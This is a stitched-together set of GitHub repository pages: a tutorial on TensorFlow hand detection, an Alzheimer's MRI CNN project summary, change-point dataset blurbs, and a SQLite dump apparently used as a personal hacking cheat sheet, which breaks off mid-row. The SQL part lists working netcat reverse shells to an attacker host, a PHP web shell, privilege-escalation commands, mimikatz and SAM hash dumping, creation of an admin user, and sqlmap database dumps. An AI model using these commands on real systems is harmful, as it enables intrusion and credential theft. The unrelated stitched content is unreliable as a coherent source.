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molyswu / Hand Detectionusing Neural Networks (SSD) on Tensorflow. This repo documents steps and scripts used to train a hand detector using Tensorflow (Object Detection API). As with any DNN based task, the most expensive (and riskiest) part of the process has to do with finding or creating the right (annotated) dataset. I was interested mainly in detecting hands on a table (egocentric view point). I experimented first with the [Oxford Hands Dataset](http://www.robots.ox.ac.uk/~vgg/data/hands/) (the results were not good). I then tried the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) which was a much better fit to my requirements. The goal of this repo/post is to demonstrate how neural networks can be applied to the (hard) problem of tracking hands (egocentric and other views). Better still, provide code that can be adapted to other uses cases. If you use this tutorial or models in your research or project, please cite [this](#citing-this-tutorial). Here is the detector in action. <img src="images/hand1.gif" width="33.3%"><img src="images/hand2.gif" width="33.3%"><img src="images/hand3.gif" width="33.3%"> Realtime detection on video stream from a webcam . <img src="images/chess1.gif" width="33.3%"><img src="images/chess2.gif" width="33.3%"><img src="images/chess3.gif" width="33.3%"> Detection on a Youtube video. Both examples above were run on a macbook pro **CPU** (i7, 2.5GHz, 16GB). Some fps numbers are: | FPS | Image Size | Device| Comments| | ------------- | ------------- | ------------- | ------------- | | 21 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run without visualizing results| | 16 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | | 11 | 640 * 480 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | > Note: The code in this repo is written and tested with Tensorflow `1.4.0-rc0`. Using a different version may result in [some errors](https://github.com/tensorflow/models/issues/1581). You may need to [generate your own frozen model](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/) graph using the [model checkpoints](model-checkpoint) in the repo to fit your TF version. **Content of this document** - Motivation - Why Track/Detect hands with Neural Networks - Data preparation and network training in Tensorflow (Dataset, Import, Training) - Training the hand detection Model - Using the Detector to Detect/Track hands - Thoughts on Optimizations. > P.S if you are using or have used the models provided here, feel free to reach out on twitter ([@vykthur](https://twitter.com/vykthur)) and share your work! ## Motivation - Why Track/Detect hands with Neural Networks? There are several existing approaches to tracking hands in the computer vision domain. Incidentally, many of these approaches are rule based (e.g extracting background based on texture and boundary features, distinguishing between hands and background using color histograms and HOG classifiers,) making them not very robust. For example, these algorithms might get confused if the background is unusual or in situations where sharp changes in lighting conditions cause sharp changes in skin color or the tracked object becomes occluded.(see [here for a review](https://www.cse.unr.edu/~bebis/handposerev.pdf) paper on hand pose estimation from the HCI perspective) With sufficiently large datasets, neural networks provide opportunity to train models that perform well and address challenges of existing object tracking/detection algorithms - varied/poor lighting, noisy environments, diverse viewpoints and even occlusion. The main drawbacks to usage for real-time tracking/detection is that they can be complex, are relatively slow compared to tracking-only algorithms and it can be quite expensive to assemble a good dataset. But things are changing with advances in fast neural networks. Furthermore, this entire area of work has been made more approachable by deep learning frameworks (such as the tensorflow object detection api) that simplify the process of training a model for custom object detection. More importantly, the advent of fast neural network models like ssd, faster r-cnn, rfcn (see [here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models) ) etc make neural networks an attractive candidate for real-time detection (and tracking) applications. Hopefully, this repo demonstrates this. > If you are not interested in the process of training the detector, you can skip straight to applying the [pretrained model I provide in detecting hands](#detecting-hands). Training a model is a multi-stage process (assembling dataset, cleaning, splitting into training/test partitions and generating an inference graph). While I lightly touch on the details of these parts, there are a few other tutorials cover training a custom object detector using the tensorflow object detection api in more detail[ see [here](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) and [here](https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9) ]. I recommend you walk through those if interested in training a custom object detector from scratch. ## Data preparation and network training in Tensorflow (Dataset, Import, Training) **The Egohands Dataset** The hand detector model is built using data from the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) dataset. This dataset works well for several reasons. It contains high quality, pixel level annotations (>15000 ground truth labels) where hands are located across 4800 images. All images are captured from an egocentric view (Google glass) across 48 different environments (indoor, outdoor) and activities (playing cards, chess, jenga, solving puzzles etc). <img src="images/egohandstrain.jpg" width="100%"> If you will be using the Egohands dataset, you can cite them as follows: > Bambach, Sven, et al. "Lending a hand: Detecting hands and recognizing activities in complex egocentric interactions." Proceedings of the IEEE International Conference on Computer Vision. 2015. The Egohands dataset (zip file with labelled data) contains 48 folders of locations where video data was collected (100 images per folder). ``` -- LOCATION_X -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder -- LOCATION_Y -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder ``` **Converting data to Tensorflow Format** Some initial work needs to be done to the Egohands dataset to transform it into the format (`tfrecord`) which Tensorflow needs to train a model. This repo contains `egohands_dataset_clean.py` a script that will help you generate these csv files. - Downloads the egohands datasets - Renames all files to include their directory names to ensure each filename is unique - Splits the dataset into train (80%), test (10%) and eval (10%) folders. - Reads in `polygons.mat` for each folder, generates bounding boxes and visualizes them to ensure correctness (see image above). - Once the script is done running, you should have an images folder containing three folders - train, test and eval. Each of these folders should also contain a csv label document each - `train_labels.csv`, `test_labels.csv` that can be used to generate `tfrecords` Note: While the egohands dataset provides four separate labels for hands (own left, own right, other left, and other right), for my purpose, I am only interested in the general `hand` class and label all training data as `hand`. You can modify the data prep script to generate `tfrecords` that support 4 labels. Next: convert your dataset + csv files to tfrecords. A helpful guide on this can be found [here](https://pythonprogramming.net/creating-tfrecord-files-tensorflow-object-detection-api-tutorial/).For each folder, you should be able to generate `train.record`, `test.record` required in the training process. ## Training the hand detection Model Now that the dataset has been assembled (and your tfrecords), the next task is to train a model based on this. With neural networks, it is possible to use a process called [transfer learning](https://www.tensorflow.org/tutorials/image_retraining) to shorten the amount of time needed to train the entire model. This means we can take an existing model (that has been trained well on a related domain (here image classification) and retrain its final layer(s) to detect hands for us. Sweet!. Given that neural networks sometimes have thousands or millions of parameters that can take weeks or months to train, transfer learning helps shorten training time to possibly hours. Tensorflow does offer a few models (in the tensorflow [model zoo](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models)) and I chose to use the `ssd_mobilenet_v1_coco` model as my start point given it is currently (one of) the fastest models (read the SSD research [paper here](https://arxiv.org/pdf/1512.02325.pdf)). The training process can be done locally on your CPU machine which may take a while or better on a (cloud) GPU machine (which is what I did). For reference, training on my macbook pro (tensorflow compiled from source to take advantage of the mac's cpu architecture) the maximum speed I got was 5 seconds per step as opposed to the ~0.5 seconds per step I got with a GPU. For reference it would take about 12 days to run 200k steps on my mac (i7, 2.5GHz, 16GB) compared to ~5hrs on a GPU. > **Training on your own images**: Please use the [guide provided by Harrison from pythonprogramming](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) on how to generate tfrecords given your label csv files and your images. The guide also covers how to start the training process if training locally. [see [here] (https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/)]. If training in the cloud using a service like GCP, see the [guide here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/running_on_cloud.md). As the training process progresses, the expectation is that total loss (errors) gets reduced to its possible minimum (about a value of 1 or thereabout). By observing the tensorboard graphs for total loss(see image below), it should be possible to get an idea of when the training process is complete (total loss does not decrease with further iterations/steps). I ran my training job for 200k steps (took about 5 hours) and stopped at a total Loss (errors) value of 2.575.(In retrospect, I could have stopped the training at about 50k steps and gotten a similar total loss value). With tensorflow, you can also run an evaluation concurrently that assesses your model to see how well it performs on the test data. A commonly used metric for performance is mean average precision (mAP) which is single number used to summarize the area under the precision-recall curve. mAP is a measure of how well the model generates a bounding box that has at least a 50% overlap with the ground truth bounding box in our test dataset. For the hand detector trained here, the mAP value was **0.9686@0.5IOU**. mAP values range from 0-1, the higher the better. <img src="images/accuracy.jpg" width="100%"> Once training is completed, the trained inference graph (`frozen_inference_graph.pb`) is then exported (see the earlier referenced guides for how to do this) and saved in the `hand_inference_graph` folder. Now its time to do some interesting detection. ## Using the Detector to Detect/Track hands If you have not done this yet, please following the guide on installing [Tensorflow and the Tensorflow object detection api](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/installation.md). This will walk you through setting up the tensorflow framework, cloning the tensorflow github repo and a guide on - Load the `frozen_inference_graph.pb` trained on the hands dataset as well as the corresponding label map. In this repo, this is done in the `utils/detector_utils.py` script by the `load_inference_graph` method. ```python detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') sess = tf.Session(graph=detection_graph) print("> ====== Hand Inference graph loaded.") ``` - Detect hands. In this repo, this is done in the `utils/detector_utils.py` script by the `detect_objects` method. ```python (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) ``` - Visualize detected bounding detection_boxes. In this repo, this is done in the `utils/detector_utils.py` script by the `draw_box_on_image` method. This repo contains two scripts that tie all these steps together. - detect_multi_threaded.py : A threaded implementation for reading camera video input detection and detecting. Takes a set of command line flags to set parameters such as `--display` (visualize detections), image parameters `--width` and `--height`, videe `--source` (0 for camera) etc. - detect_single_threaded.py : Same as above, but single threaded. This script works for video files by setting the video source parameter videe `--source` (path to a video file). ```cmd # load and run detection on video at path "videos/chess.mov" python detect_single_threaded.py --source videos/chess.mov ``` > Update: If you do have errors loading the frozen inference graph in this repo, feel free to generate a new graph that fits your TF version from the model-checkpoint in this repo. Use the [export_inference_graph.py](https://github.com/tensorflow/models/blob/master/research/object_detection/export_inference_graph.py) script provided in the tensorflow object detection api repo. More guidance on this [here](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/). ## Thoughts on Optimization. A few things that led to noticeable performance increases. - Threading: Turns out that reading images from a webcam is a heavy I/O event and if run on the main application thread can slow down the program. I implemented some good ideas from [Adrian Rosebuck](https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/) on parrallelizing image capture across multiple worker threads. This mostly led to an FPS increase of about 5 points. - For those new to Opencv, images from the `cv2.read()` method return images in [BGR format](https://www.learnopencv.com/why-does-opencv-use-bgr-color-format/). Ensure you convert to RGB before detection (accuracy will be much reduced if you dont). ```python cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) ``` - Keeping your input image small will increase fps without any significant accuracy drop.(I used about 320 x 240 compared to the 1280 x 720 which my webcam provides). - Model Quantization. Moving from the current 32 bit to 8 bit can achieve up to 4x reduction in memory required to load and store models. One way to further speed up this model is to explore the use of [8-bit fixed point quantization](https://heartbeat.fritz.ai/8-bit-quantization-and-tensorflow-lite-speeding-up-mobile-inference-with-low-precision-a882dfcafbbd). Performance can also be increased by a clever combination of tracking algorithms with the already decent detection and this is something I am still experimenting with. Have ideas for optimizing better, please share! <img src="images/general.jpg" width="100%"> Note: The detector does reflect some limitations associated with the training set. This includes non-egocentric viewpoints, very noisy backgrounds (e.g in a sea of hands) and sometimes skin tone. There is opportunity to improve these with additional data. ## Integrating Multiple DNNs. One way to make things more interesting is to integrate our new knowledge of where "hands" are with other detectors trained to recognize other objects. Unfortunately, while our hand detector can in fact detect hands, it cannot detect other objects (a factor or how it is trained). To create a detector that classifies multiple different objects would mean a long involved process of assembling datasets for each class and a lengthy training process. > Given the above, a potential strategy is to explore structures that allow us **efficiently** interleave output form multiple pretrained models for various object classes and have them detect multiple objects on a single image. An example of this is with my primary use case where I am interested in understanding the position of objects on a table with respect to hands on same table. I am currently doing some work on a threaded application that loads multiple detectors and outputs bounding boxes on a single image. More on this soon.
himanshub1007 / Alzhimers Disease Prediction Using Deep Learning# AD-Prediction Convolutional Neural Networks for Alzheimer's Disease Prediction Using Brain MRI Image ## Abstract Alzheimers disease (AD) is characterized by severe memory loss and cognitive impairment. It associates with significant brain structure changes, which can be measured by magnetic resonance imaging (MRI) scan. The observable preclinical structure changes provides an opportunity for AD early detection using image classification tools, like convolutional neural network (CNN). However, currently most AD related studies were limited by sample size. Finding an efficient way to train image classifier on limited data is critical. In our project, we explored different transfer-learning methods based on CNN for AD prediction brain structure MRI image. We find that both pretrained 2D AlexNet with 2D-representation method and simple neural network with pretrained 3D autoencoder improved the prediction performance comparing to a deep CNN trained from scratch. The pretrained 2D AlexNet performed even better (**86%**) than the 3D CNN with autoencoder (**77%**). ## Method #### 1. Data In this project, we used public brain MRI data from **Alzheimers Disease Neuroimaging Initiative (ADNI)** Study. ADNI is an ongoing, multicenter cohort study, started from 2004. It focuses on understanding the diagnostic and predictive value of Alzheimers disease specific biomarkers. The ADNI study has three phases: ADNI1, ADNI-GO, and ADNI2. Both ADNI1 and ADNI2 recruited new AD patients and normal control as research participants. Our data included a total of 686 structure MRI scans from both ADNI1 and ADNI2 phases, with 310 AD cases and 376 normal controls. We randomly derived the total sample into training dataset (n = 519), validation dataset (n = 100), and testing dataset (n = 67). #### 2. Image preprocessing Image preprocessing were conducted using Statistical Parametric Mapping (SPM) software, version 12. The original MRI scans were first skull-stripped and segmented using segmentation algorithm based on 6-tissue probability mapping and then normalized to the International Consortium for Brain Mapping template of European brains using affine registration. Other configuration includes: bias, noise, and global intensity normalization. The standard preprocessing process output 3D image files with an uniform size of 121x145x121. Skull-stripping and normalization ensured the comparability between images by transforming the original brain image into a standard image space, so that same brain substructures can be aligned at same image coordinates for different participants. Diluted or enhanced intensity was used to compensate the structure changes. the In our project, we used both whole brain (including both grey matter and white matter) and grey matter only. #### 3. AlexNet and Transfer Learning Convolutional Neural Networks (CNN) are very similar to ordinary Neural Networks. A CNN consists of an input and an output layer, as well as multiple hidden layers. The hidden layers are either convolutional, pooling or fully connected. ConvNet architectures make the explicit assumption that the inputs are images, which allows us to encode certain properties into the architecture. These then make the forward function more efficient to implement and vastly reduce the amount of parameters in the network. #### 3.1. AlexNet The net contains eight layers with weights; the first five are convolutional and the remaining three are fully connected. The overall architecture is shown in Figure 1. The output of the last fully-connected layer is fed to a 1000-way softmax which produces a distribution over the 1000 class labels. AlexNet maximizes the multinomial logistic regression objective, which is equivalent to maximizing the average across training cases of the log-probability of the correct label under the prediction distribution. The kernels of the second, fourth, and fifth convolutional layers are connected only to those kernel maps in the previous layer which reside on the same GPU (as shown in Figure1). The kernels of the third convolutional layer are connected to all kernel maps in the second layer. The neurons in the fully connected layers are connected to all neurons in the previous layer. Response-normalization layers follow the first and second convolutional layers. Max-pooling layers follow both response-normalization layers as well as the fifth convolutional layer. The ReLU non-linearity is applied to the output of every convolutional and fully-connected layer.  The first convolutional layer filters the 224x224x3 input image with 96 kernels of size 11x11x3 with a stride of 4 pixels (this is the distance between the receptive field centers of neighboring neurons in a kernel map). The second convolutional layer takes as input the (response-normalized and pooled) output of the first convolutional layer and filters it with 256 kernels of size 5x5x48. The third, fourth, and fifth convolutional layers are connected to one another without any intervening pooling or normalization layers. The third convolutional layer has 384 kernels of size 3x3x256 connected to the (normalized, pooled) outputs of the second convolutional layer. The fourth convolutional layer has 384 kernels of size 3x3x192 , and the fifth convolutional layer has 256 kernels of size 3x3x192. The fully-connected layers have 4096 neurons each. #### 3.2. Transfer Learning Training an entire Convolutional Network from scratch (with random initialization) is impractical[14] because it is relatively rare to have a dataset of sufficient size. An alternative is to pretrain a Conv-Net on a very large dataset (e.g. ImageNet), and then use the ConvNet either as an initialization or a fixed feature extractor for the task of interest. Typically, there are three major transfer learning scenarios: **ConvNet as fixed feature extractor:** We can take a ConvNet pretrained on ImageNet, and remove the last fully-connected layer, then treat the rest structure as a fixed feature extractor for the target dataset. In AlexNet, this would be a 4096-D vector. Usually, we call these features as CNN codes. Once we get these features, we can train a linear classifier (e.g. linear SVM or Softmax classifier) for our target dataset. **Fine-tuning the ConvNet:** Another idea is not only replace the last fully-connected layer in the classifier, but to also fine-tune the parameters of the pretrained network. Due to overfitting concerns, we can only fine-tune some higher-level part of the network. This suggestion is motivated by the observation that earlier features in a ConvNet contains more generic features (e.g. edge detectors or color blob detectors) that can be useful for many kind of tasks. But the later layer of the network becomes progressively more specific to the details of the classes contained in the original dataset. **Pretrained models:** The released pretrained model is usually the final ConvNet checkpoint. So it is common to see people use the network for fine-tuning. #### 4. 3D Autoencoder and Convolutional Neural Network We take a two-stage approach where we first train a 3D sparse autoencoder to learn filters for convolution operations, and then build a convolutional neural network whose first layer uses the filters learned with the autoencoder.  #### 4.1. Sparse Autoencoder An autoencoder is a 3-layer neural network that is used to extract features from an input such as an image. Sparse representations can provide a simple interpretation of the input data in terms of a small number of \parts by extracting the structure hidden in the data. The autoencoder has an input layer, a hidden layer and an output layer, and the input and output layers have same number of units, while the hidden layer contains more units for a sparse and overcomplete representation. The encoder function maps input x to representation h, and the decoder function maps the representation h to the output x. In our problem, we extract 3D patches from scans as the input to the network. The decoder function aims to reconstruct the input form the hidden representation h. #### 4.2. 3D Convolutional Neural Network Training the 3D convolutional neural network(CNN) is the second stage. The CNN we use in this project has one convolutional layer, one pooling layer, two linear layers, and finally a log softmax layer. After training the sparse autoencoder, we take the weights and biases of the encoder from trained model, and use them a 3D filter of a 3D convolutional layer of the 1-layer convolutional neural network. Figure 2 shows the architecture of the network. #### 5. Tools In this project, we used Nibabel for MRI image processing and PyTorch Neural Networks implementation.
alan-turing-institute / TCPDThe Turing Change Point Dataset - A collection of time series for the evaluation and development of change point detection algorithms
alan-turing-institute / TCPDBenchThe Turing Change Point Detection Benchmark: An Extensive Benchmark Evaluation of Change Point Detection Algorithms on real-world data
Don-No7 / Hack SQL-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); 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INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly 